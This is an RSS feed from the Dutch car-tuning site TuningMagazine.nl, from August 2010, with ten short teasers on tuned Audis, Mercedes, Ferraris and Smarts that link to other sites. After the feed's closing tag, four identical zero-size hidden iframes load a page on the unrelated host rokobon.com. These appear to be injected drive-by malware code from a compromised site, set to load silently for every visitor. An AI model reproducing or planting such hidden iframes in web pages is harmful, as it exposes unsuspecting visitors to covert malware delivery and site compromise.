<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>TuningMagazine.nl &#187; Tuning</title>
	<atom:link href="http://www.tuningmagazine.nl/?feed=rss2&#038;cat=1" rel="self" type="application/rss+xml" />
	<link>http://www.tuningmagazine.nl</link>
	<description>Alles over tuning</description>
	<lastBuildDate>Sun, 29 Aug 2010 20:18:57 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Senner Tuning pakt Audi A1 beet</title>
		<link>http://www.tuningmagazine.nl/?p=517</link>
		<comments>http://www.tuningmagazine.nl/?p=517#comments</comments>
		<pubDate>Sun, 29 Aug 2010 20:18:57 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Tuning]]></category>

		<guid isPermaLink="false">http://www.tuningmagazine.nl/?p=517</guid>
		<description><![CDATA[Het vrij onbekende Senner Tuning heeft zich al heel rap over de Audi A1 gebogen. En volgens de tuner kon het, zoals altijd bij tuners, nog wel wat sportiever. De serie met aanpassingen die Senner Tuning op deze Audi A1 heeft doorgevoerd concentreren zich dan ook vooral op de rijervaring.    Lees verder&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>Het vrij onbekende Senner Tuning heeft zich al heel rap over de Audi A1 gebogen. En volgens de tuner kon het, zoals altijd bij tuners, nog wel wat sportiever. De serie met aanpassingen die Senner Tuning op deze Audi A1 heeft doorgevoerd concentreren zich dan ook vooral op de rijervaring.   <span id="more-517"></span> <a href="http://www.autowereld.com/tuning/detail.asp?artikel=10381&amp;artikelen=Senner%20Tuning%20pakt%20Audi%20A1%20beet">Lees verder&#8230;</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.tuningmagazine.nl/?feed=rss2&amp;p=517</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brabus poogt Steve Jobs te imponeren met iBusiness</title>
		<link>http://www.tuningmagazine.nl/?p=518</link>
		<comments>http://www.tuningmagazine.nl/?p=518#comments</comments>
		<pubDate>Sun, 29 Aug 2010 20:18:57 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Tuning]]></category>

		<guid isPermaLink="false">http://www.tuningmagazine.nl/?p=518</guid>
		<description><![CDATA[Speciaal voor de veeleisende gadgetliefhebber heeft Brabus de iBusiness edition van de S-klasse in het leven geroepen. Gezien de gemonteerde apparatuur lijkt het alsof Brabus de ultieme dienstauto van Steve Jobs, de topman van Apple, geprobeerd heeft te creëren.    Lees verder&#8230; 
]]></description>
			<content:encoded><![CDATA[<p>Speciaal voor de veeleisende gadgetliefhebber heeft Brabus de iBusiness edition van de S-klasse in het leven geroepen. Gezien de gemonteerde apparatuur lijkt het alsof Brabus de ultieme dienstauto van Steve Jobs, de topman van Apple, geprobeerd heeft te creëren.   <span id="more-518"></span> <a href="http://www.autowereld.com/tuning/detail.asp?artikel=10377&amp;artikelen=Brabus%20poogt%20Steve%20Jobs%20te%20imponeren%20met%20iBusiness">Lees verder&#8230;</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.tuningmagazine.nl/?feed=rss2&amp;p=518</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brabus doet de SLS AMG</title>
		<link>http://www.tuningmagazine.nl/?p=516</link>
		<comments>http://www.tuningmagazine.nl/?p=516#comments</comments>
		<pubDate>Wed, 25 Aug 2010 15:18:34 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Tuning]]></category>

		<guid isPermaLink="false">http://www.tuningmagazine.nl/?p=516</guid>
		<description><![CDATA[Nadat wij de SLS hadden gedaan, konden ze in Bottrop natuurlijk niet achterblijven. Ofzoietsdantoch.    Lees verder&#8230; 
]]></description>
			<content:encoded><![CDATA[<p>Nadat wij de SLS hadden gedaan, konden ze in Bottrop natuurlijk niet achterblijven. Ofzoietsdantoch.   <span id="more-516"></span> <a href="http://www.autoblog.nl/archive/2010/08/25/brabus-doet-de-sls-amg">Lees verder&#8230;</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.tuningmagazine.nl/?feed=rss2&amp;p=516</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chiptuning en OBD-tuning, wel of niet goed?</title>
		<link>http://www.tuningmagazine.nl/?p=515</link>
		<comments>http://www.tuningmagazine.nl/?p=515#comments</comments>
		<pubDate>Sun, 22 Aug 2010 17:00:19 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Tuning]]></category>

		<guid isPermaLink="false">http://www.tuningmagazine.nl/?p=515</guid>
		<description><![CDATA[Chiptuning, een term die vaak word gezien als iets wat alleen auto liefhebbers gebruiken. Toch kan het je de kosten flink besparen. Chiptuning en OBD tuning betekenen eigenlijk alleen maar het verfijnen van je motor. Natuurlijk heb je ook mensen die alleen uit zijn op de prestaties. Echter heeft iedereen er wel baat bij.  [...]]]></description>
			<content:encoded><![CDATA[<p>Chiptuning, een term die vaak word gezien als iets wat alleen auto liefhebbers gebruiken. Toch kan het je de kosten flink besparen. Chiptuning en OBD tuning betekenen eigenlijk alleen maar het verfijnen van je motor. Natuurlijk heb je ook mensen die alleen uit zijn op de prestaties. Echter heeft iedereen er wel baat bij.  <span id="more-515"></span> <a href="http://auto-en-vervoer.infonu.nl/auto/59244-chiptuning-en-obd-tuning-wel-of-niet-goed.html">Lees verder&#8230;</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.tuningmagazine.nl/?feed=rss2&amp;p=515</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gemballa start door met nieuwe CEO</title>
		<link>http://www.tuningmagazine.nl/?p=514</link>
		<comments>http://www.tuningmagazine.nl/?p=514#comments</comments>
		<pubDate>Sun, 22 Aug 2010 15:20:27 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Tuning]]></category>

		<guid isPermaLink="false">http://www.tuningmagazine.nl/?p=514</guid>
		<description><![CDATA[Voor liefhebbers van extravagante creaties zoals hierboven is er goed nieuws. Na de mysterieuze verdwijning van Uwe Gemballa in Zuid Afrika en het daarop volgende faillissement van zijn tuningtoko is er nu goed nieuws voor de liefhebbers van de extravagante creaties uit Duitsland.   Lees verder&#8230; 
]]></description>
			<content:encoded><![CDATA[<p>Voor liefhebbers van extravagante creaties zoals hierboven is er goed nieuws. Na de mysterieuze verdwijning van Uwe Gemballa in Zuid Afrika en het daarop volgende faillissement van zijn tuningtoko is er nu goed nieuws voor de liefhebbers van de extravagante creaties uit Duitsland.  <span id="more-514"></span> <a href="http://www.autoblog.nl/archive/2010/08/22/gemballa-start-door-met-nieuwe-ceo">Lees verder&#8230;</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.tuningmagazine.nl/?feed=rss2&amp;p=514</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anderson gechameerd van Novitec Rosso</title>
		<link>http://www.tuningmagazine.nl/?p=513</link>
		<comments>http://www.tuningmagazine.nl/?p=513#comments</comments>
		<pubDate>Wed, 18 Aug 2010 17:17:27 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Tuning]]></category>

		<guid isPermaLink="false">http://www.tuningmagazine.nl/?p=513</guid>
		<description><![CDATA[Anderson Germany dat begin deze maand nog de ‘Gallardo Balboni met de lange achternaam’ onthulde heeft al weer wat nieuws. De tuner uit het Duitse Düsseldorf ging er in de korte tussentijd vandoor met de Ferrari California, die overigens wel heel erg veel trekjes heeft van de versie van Novitec Rosso.   Lees verder&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>Anderson Germany dat begin deze maand nog de ‘Gallardo Balboni met de lange achternaam’ onthulde heeft al weer wat nieuws. De tuner uit het Duitse Düsseldorf ging er in de korte tussentijd vandoor met de Ferrari California, die overigens wel heel erg veel trekjes heeft van de versie van Novitec Rosso.  <span id="more-513"></span> <a href="http://www.autowereld.com/tuning/detail.asp?artikel=10351&amp;artikelen=Anderson%20gechameerd%20van%20Novitec%20Rosso">Lees verder&#8230;</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.tuningmagazine.nl/?feed=rss2&amp;p=513</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gespot: Aston Martin Mansory DB9</title>
		<link>http://www.tuningmagazine.nl/?p=512</link>
		<comments>http://www.tuningmagazine.nl/?p=512#comments</comments>
		<pubDate>Sat, 14 Aug 2010 21:19:41 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Tuning]]></category>

		<guid isPermaLink="false">http://www.tuningmagazine.nl/?p=512</guid>
		<description><![CDATA[Aston Martin, het stijlvolle merk uit het Verenigd Koninkrijk, maar daar weet Mansory wel raad mee.   Lees verder&#8230; 
]]></description>
			<content:encoded><![CDATA[<p>Aston Martin, het stijlvolle merk uit het Verenigd Koninkrijk, maar daar weet Mansory wel raad mee.  <span id="more-512"></span> <a href="http://www.autoblog.nl/archive/2010/08/13/gespot-aston-martin-mansory-db9">Lees verder&#8230;</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.tuningmagazine.nl/?feed=rss2&amp;p=512</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WALD laat woede los op Mercedes S-klasse</title>
		<link>http://www.tuningmagazine.nl/?p=511</link>
		<comments>http://www.tuningmagazine.nl/?p=511#comments</comments>
		<pubDate>Thu, 12 Aug 2010 19:04:57 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Tuning]]></category>

		<guid isPermaLink="false">http://www.tuningmagazine.nl/?p=511</guid>
		<description><![CDATA[Gezien het gekopieerde embleem zou WALD het Japanse Mercedes-AMG willen zijn. Afgaande op hun getunede Mercedessen zitten ze er inderdaad niet ver naast. Hier hun laatste creatie: de Mercedes-Benz S-klasse Sports Line Black Bison Edition.    Lees verder&#8230; 
]]></description>
			<content:encoded><![CDATA[<p>Gezien het gekopieerde embleem zou WALD het Japanse Mercedes-AMG willen zijn. Afgaande op hun getunede Mercedessen zitten ze er inderdaad niet ver naast. Hier hun laatste creatie: de Mercedes-Benz S-klasse Sports Line Black Bison Edition.   <span id="more-511"></span> <a href="http://www.autowereld.com/tuning/detail.asp?artikel=10319&amp;artikelen=WALD%20laat%20woede%20los%20op%20Mercedes%20S-klasse">Lees verder&#8230;</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.tuningmagazine.nl/?feed=rss2&amp;p=511</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Carlsson doet C25 in ‘t klein over</title>
		<link>http://www.tuningmagazine.nl/?p=509</link>
		<comments>http://www.tuningmagazine.nl/?p=509#comments</comments>
		<pubDate>Thu, 12 Aug 2010 19:04:56 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Tuning]]></category>

		<guid isPermaLink="false">http://www.tuningmagazine.nl/?p=509</guid>
		<description><![CDATA[Begin dit jaar brak voor tuner Carlsson een nieuwe mijlpaal aan: het lanceren van hun eerste eigen sportwagen. Deze C25 heeft papieren om zich te meten met de beste auto’s ter wereld, maar kost ook een flinke duit. Deze Smart van Carlsson heeft wel de looks van de C25, maar niet z’n torenhoge prijs.  [...]]]></description>
			<content:encoded><![CDATA[<p>Begin dit jaar brak voor tuner Carlsson een nieuwe mijlpaal aan: het lanceren van hun eerste eigen sportwagen. Deze C25 heeft papieren om zich te meten met de beste auto’s ter wereld, maar kost ook een flinke duit. Deze Smart van Carlsson heeft wel de looks van de C25, maar niet z’n torenhoge prijs.   <span id="more-509"></span> <a href="http://www.autowereld.com/tuning/detail.asp?artikel=10316&amp;artikelen=Carlsson%20doet%20C25%20in%20%E2%80%98t%20klein%20over">Lees verder&#8230;</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.tuningmagazine.nl/?feed=rss2&amp;p=509</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sport-Wheels R8 Spyder: sexy bruut</title>
		<link>http://www.tuningmagazine.nl/?p=510</link>
		<comments>http://www.tuningmagazine.nl/?p=510#comments</comments>
		<pubDate>Thu, 12 Aug 2010 19:04:56 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Tuning]]></category>

		<guid isPermaLink="false">http://www.tuningmagazine.nl/?p=510</guid>
		<description><![CDATA[De Audi R8 Spyder is één van de meeste sexy open sportwagens uit Duitsland sinds tijden. Typisch zo’n auto om mee te flaneren over zonovergoten boulevards of andere plekken waar zien en gezien worden geldt. Met de versie van Sport-Wheels gaat dit pas echt op brute wijze.    Lees verder&#8230; 
]]></description>
			<content:encoded><![CDATA[<p>De Audi R8 Spyder is één van de meeste sexy open sportwagens uit Duitsland sinds tijden. Typisch zo’n auto om mee te flaneren over zonovergoten boulevards of andere plekken waar zien en gezien worden geldt. Met de versie van Sport-Wheels gaat dit pas echt op brute wijze.   <span id="more-510"></span> <a href="http://www.autowereld.com/tuning/detail.asp?artikel=10321&amp;artikelen=Sport-Wheels%20R8%20Spyder:%20sexy%20bruut">Lees verder&#8230;</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.tuningmagazine.nl/?feed=rss2&amp;p=510</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://rokobon.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://rokobon.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>?><iframe src="http://rokobon.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>?><iframe src="http://rokobon.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>